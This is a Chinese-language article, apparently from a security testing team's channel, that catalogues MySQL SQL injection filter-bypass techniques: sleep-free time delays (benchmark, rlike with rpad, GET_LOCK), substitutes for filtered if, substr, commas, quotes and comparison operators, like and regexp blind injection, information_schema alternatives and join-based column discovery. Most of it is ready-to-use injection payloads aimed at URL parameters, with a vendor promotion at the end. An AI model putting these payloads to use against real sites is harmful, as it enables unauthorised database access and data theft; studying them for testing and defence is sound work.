Sql注入Bypass思路總結(jié)

STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),雷神眾測(cè)及文章作者不為此承擔(dān)任何責(zé)任。
雷神眾測(cè)擁有對(duì)此文章的修改和解釋權(quán)。如欲轉(zhuǎn)載或傳播此文章,必須保證此文章的完整性,包括版權(quán)聲明等全部?jī)?nèi)容。未經(jīng)雷神眾測(cè)允許,不得任意修改或者增減此文章內(nèi)容,不得以任何方式將其用于商業(yè)目的。

Sleep函數(shù)過(guò)濾繞過(guò)
笛卡爾積延時(shí)盲注
count(*) 后面所有表中的列笛卡爾積數(shù),數(shù)量越多耗時(shí)就越多,就會(huì)有延遲:

benchmark延時(shí)盲注
benchmark會(huì)重復(fù)執(zhí)行表達(dá)式,以此來(lái)進(jìn)行延時(shí):

rlike正則語(yǔ)法延時(shí)盲注
rlike和like的區(qū)別:
like:
格式是A like B,其中A是字符串,B是表達(dá)式,表示能否用B去完全匹配A的內(nèi)容,返回的結(jié)果是True/False。
B只能使用簡(jiǎn)單匹配符號(hào) 和%,””表示任意單個(gè)字符,字符”%”表示任意數(shù)量的字符。
like的匹配是按字符逐一匹配的,使用B從A的第一個(gè)字符開始匹配,所以即使有一個(gè)字符不同也不行。
rlike:
A RLIKE B ,表示B是否在A里面即可。而A LIKE B,則表示B是否是A。
B中的表達(dá)式可以使用JAVA中全部正則表達(dá)式。
regexp:
regexp用法類似rlike
rlike延時(shí)主要利用rpad和lpad函數(shù):
rpad函數(shù):
rpad(str1,len,str2)
用字符串 str2對(duì) str1進(jìn)行右邊填補(bǔ)直至它的長(zhǎng)度達(dá)到len個(gè)字符長(zhǎng)度,然后返回 str1。如果 str1的長(zhǎng)度長(zhǎng)于 len',那么它將被截除到 len個(gè)符。

lpad同理,是rpad相反的函數(shù)。payload為:
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
這個(gè)payload是什么意思呢?就是從1拼接到999999位a,多重復(fù)幾次,以大量的拼接進(jìn)行延時(shí)操作。
還有一個(gè)函數(shù)是repeat:
repeat(str,times) 復(fù)制字符串times次,與之同理進(jìn)行延時(shí)。
GET_LOCK加鎖延時(shí)注入
GET_LOCK(key,timeout) 需要兩個(gè)連接會(huì)話
RELEASE_LOCK(key) 鎖是否釋放,釋放了返回1
IS_FREE_LOCK(key) 返回當(dāng)前連接ID,表示名稱為'xxxx'的鎖正在被使用。
key 是鎖的名字,timeout是加鎖等待時(shí)間,時(shí)間內(nèi)未加鎖成功則事件回滾。get_lock 加鎖成功返回1,get_lock會(huì)按照key來(lái)加鎖,別的客戶端再以同樣的key加鎖時(shí)就加不了了,處于等待狀態(tài)。
在一個(gè)session中鎖定變量,同時(shí)通過(guò)另外一個(gè)session執(zhí)行,將會(huì)產(chǎn)生延時(shí)。
舉例:

所以我們可以先執(zhí)行 1' and get_lock(1,2)%23 給key=1上鎖,然后就可以盲注了 1' and if(1,get_lock(1,2),1)%23 再次執(zhí)行同樣的語(yǔ)句會(huì)產(chǎn)生延時(shí) 。

if函數(shù)過(guò)濾繞過(guò)
可以使用 i<a>f 繞過(guò)case when語(yǔ)句繞過(guò):
if(condition,1,0) <=> case when condition then 1 else 0 end
substr函數(shù)過(guò)濾繞過(guò)
使用lpad()和rpad()繞過(guò)
select lpad((select database()),1,1) // sselect lpad((select database()),2,1) // seselect lpad((select database()),3,1) // secselect lpad((select database()),4,1) // secuselect lpad((select database()),5,1) // securselect lpad((select database()),6,1) // securiselect lpad((select database()),7,1) // securitselect lpad((select database()),8,1) // securityselect rpad((select database()),1,1) // sselect rpad((select database()),2,1) // seselect rpad((select database()),3,1) // secselect rpad((select database()),4,1) // secuselect rpad((select database()),5,1) // securselect rpad((select database()),6,1) // securiselect rpad((select database()),7,1) // securitselect rpad((select database()),8,1) // security

過(guò)濾and、or繞過(guò)
常見繞過(guò):
and => &&
or => ||
使用^進(jìn)行異或盲注繞過(guò)
異或^是一種數(shù)學(xué)運(yùn)算,1^1=0、0^0=0、1^0=1,可知,當(dāng)兩條件相同時(shí)(同真同假)結(jié)果為假,當(dāng)兩條件不同時(shí)(一真一假)結(jié)果為真。所以^可以用來(lái)進(jìn)行sql盲注,并且1^1^1=1、1^0^1=0。

過(guò)濾括號(hào)繞過(guò)
使用order by注入
該方法只適用于表里就一行數(shù)據(jù)的時(shí)候。

這個(gè)時(shí)候可以使用order by盲注

使用order by注入的話,要提前知道一個(gè)點(diǎn)就是order by 語(yǔ)句默認(rèn)按照升序?qū)τ涗涍M(jìn)行排序。
由上圖當(dāng)我們order by第三列也就是password列,select 'a' 時(shí),經(jīng)過(guò)排序單a是在admin123之上,但是select 'b'時(shí),admin123開頭的a的ascii碼是小于b的,所以admin23會(huì)排在第一行。
所以order by 的主要作用就是讓查詢出來(lái)的數(shù)據(jù)根據(jù)第n列進(jìn)行排序,我們可以使用order by排序比較字符的 ascii 碼大小,從第?位開始比較,第?位相同時(shí)比較下?位。

過(guò)濾比較符號(hào)(=、<、>)繞過(guò)
使用in()繞過(guò)
/?id=' or ascii(substr((select database()),1,1)) in(114)--+ // 錯(cuò)誤/?id=' or ascii(substr((select database()),1,1)) in(115)--+ // 正?;仫@/?id=' or substr((select database()),1,1) in('s')--+ // 正常回顯



盲注函數(shù)過(guò)濾繞過(guò)
like注入
常見盲注函數(shù)比如substr等函數(shù)被過(guò)濾,可以使用like注入。
在like子句中,百分比(%)通配符允許匹配任何字符串的零個(gè)或多個(gè)字符。下劃線 _ 通配符允許匹配任何單個(gè)字符。匹配成功則返回1,反之返回0,可用于sql盲注。
1. like 's%' 判斷第一個(gè)字符是否為s
1 union select 1,database() like 's%',3 --+2. like 'se%' 判斷前面兩個(gè)字符串是否為se
1 union select 1,database() like 'se%',3 --+3. like '%sq%' 判斷是否包含“se”這兩個(gè)字符串
1 union select 1,database() like '%se%',3 --+4. like '_____' 判斷是否為5個(gè)字符,可用于判斷長(zhǎng)度
1 union select 1,database() like '_____',3 --+5. like 's____' 判斷第一個(gè)字符是否為s
1 union select 1,database() like 's____',3 --+拿靶場(chǎng)為例:
1.判斷數(shù)據(jù)庫(kù)長(zhǎng)度
/?id=' or database() like '________' --+
/?id=' or database() like 's%' --+也可用/?id=' or database() like 's_______' --+
regexp注入
REGEXP注入,即regexp正則表達(dá)式注入。REGEXP注入,又叫盲注值正則表達(dá)式攻擊。應(yīng)用場(chǎng)景就是盲注,原理是直接查詢自己需要的數(shù)據(jù),然后通過(guò)正則表達(dá)式進(jìn)行匹配。
正常的查詢語(yǔ)句:
select username from users where id=1;正則匹配語(yǔ)句:
select (select語(yǔ)句) regexp '正則表達(dá)式'(1)正則注入匹配select查詢結(jié)果,若匹配到結(jié)果則返回1,未匹配到則返回0

當(dāng)過(guò)濾了=、in、like等關(guān)鍵字時(shí),我們可以用regexp來(lái)進(jìn)行繞過(guò):

select * from users where id=1 union select 1,database() regexp '^s',3;
/?id=' or (length(database())) regexp 8 --+ // 回顯正常
/?id=' or database() regexp '^s'--+ // 回顯正常/?id=' or database() regexp 'se'--+ // 回顯正常, 不適用^和$進(jìn)行匹配也可以/?id=' or database() regexp '^sa'--+ // 報(bào)錯(cuò)/?id=' or database() regexp 'y$'--+ // 回顯正常



過(guò)濾引號(hào)繞過(guò)
使用反斜杠 \ 逃逸 Sql 語(yǔ)句
如果沒(méi)有過(guò)濾反斜杠的話,我們可以使用反斜杠將后面的引號(hào)轉(zhuǎn)義,從而逃逸后面的 Sql 語(yǔ)句。
假設(shè)sql語(yǔ)句為:
select username, password from users where username='$username' and password='$password';假設(shè)輸入的用戶名是 admin\,密碼輸入的是 or 1# 整個(gè)SQL語(yǔ)句變成了
select username,password from users where username='admin\' and password=' or 1# '由于單引號(hào)被轉(zhuǎn)義,and password= 這部分都成了username的一部分,即
username='admin\' and password='這樣 or 1 就逃逸出來(lái)了,由此可控,可作為注入點(diǎn)了。

過(guò)濾逗號(hào)繞過(guò)
使用from...for...繞過(guò)
select substr((select database()) from 1 for 1);# 此時(shí) from 1 for 1 中的兩個(gè)1分別代替 substr() 函數(shù)里的兩個(gè)1select substr((select database()) from 1 for 1); # sselect substr((select database()) from 2 for 1); # eselect substr((select database()) from 3 for 1); # cselect substr((select database()) from 4 for 1); # uselect substr((select database()) from 5 for 1); # rselect substr((select database()) from 6 for 1); # iselect substr((select database()) from 7 for 1); # tselect substr((select database()) from 8 for 1); # y# 如果過(guò)濾了空格, 則可以使用括號(hào)來(lái)代替空格:select substr((select database())from(1)for(1)); # sselect substr((select database())from(2)for(1)); # eselect substr((select database())from(3)for(1)); # cselect substr((select database())from(4)for(1)); # uselect substr((select database())from(5)for(1)); # rselect substr((select database())from(6)for(1)); # iselect substr((select database())from(7)for(1)); # tselect substr((select database())from(8)for(1)); # y
使用offset關(guān)鍵字繞過(guò)
select * from users limit 1 offset 2;# 此時(shí) limit 1 offset 2 可以代替 limit 1,2

過(guò)濾information_schema繞過(guò)與無(wú)列名注入
在注入中,infromation_schema庫(kù)的作用主要是可以獲取到table_schema、table_name、column_name這些數(shù)據(jù)庫(kù)內(nèi)的信息。
能夠代替information_schema的有:
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
x$schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
以上大部分特殊數(shù)據(jù)庫(kù)都是在 mysql5.7 以后的版本才有,并且要訪問(wèn)sys數(shù)據(jù)庫(kù)需要有相應(yīng)的權(quán)限。
由于performance_schema過(guò)于發(fā)雜,所以mysql在5.7版本中新增了sys schemma,基礎(chǔ)數(shù)據(jù)來(lái)自于performance_chema和information_schema兩個(gè)庫(kù),本身數(shù)據(jù)庫(kù)不存儲(chǔ)數(shù)據(jù)。
sys.schema_auto_increment_columns
該視圖的作用簡(jiǎn)單來(lái)說(shuō)就是用來(lái)對(duì)表自增ID的監(jiān)控。

與sys.schema_auto_increment_columns的區(qū)別就是這兩個(gè)視圖不單單對(duì)自增ID進(jìn)行監(jiān)控,還會(huì)對(duì)非自增進(jìn)行監(jiān)控。




join
獲取第一列列名。
?id=-1' union all select * from (select * from users as a join users as b)as c--+
普通查詢
一般的查詢:


可以看到數(shù)字與列對(duì)應(yīng),所以我們可以利用數(shù)字進(jìn)行數(shù)據(jù)的查詢,例如第三列password:


安恒信息
?
杭州亞運(yùn)會(huì)網(wǎng)絡(luò)安全服務(wù)官方合作伙伴
成都大運(yùn)會(huì)網(wǎng)絡(luò)信息安全類官方贊助商
武漢軍運(yùn)會(huì)、北京一帶一路峰會(huì)
青島上合峰會(huì)、上海進(jìn)博會(huì)
廈門金磚峰會(huì)、G20杭州峰會(huì)
支撐單位北京奧運(yùn)會(huì)等近百場(chǎng)國(guó)家級(jí)
重大活動(dòng)網(wǎng)絡(luò)安保支撐單位

END


長(zhǎng)按識(shí)別二維碼關(guān)注我們
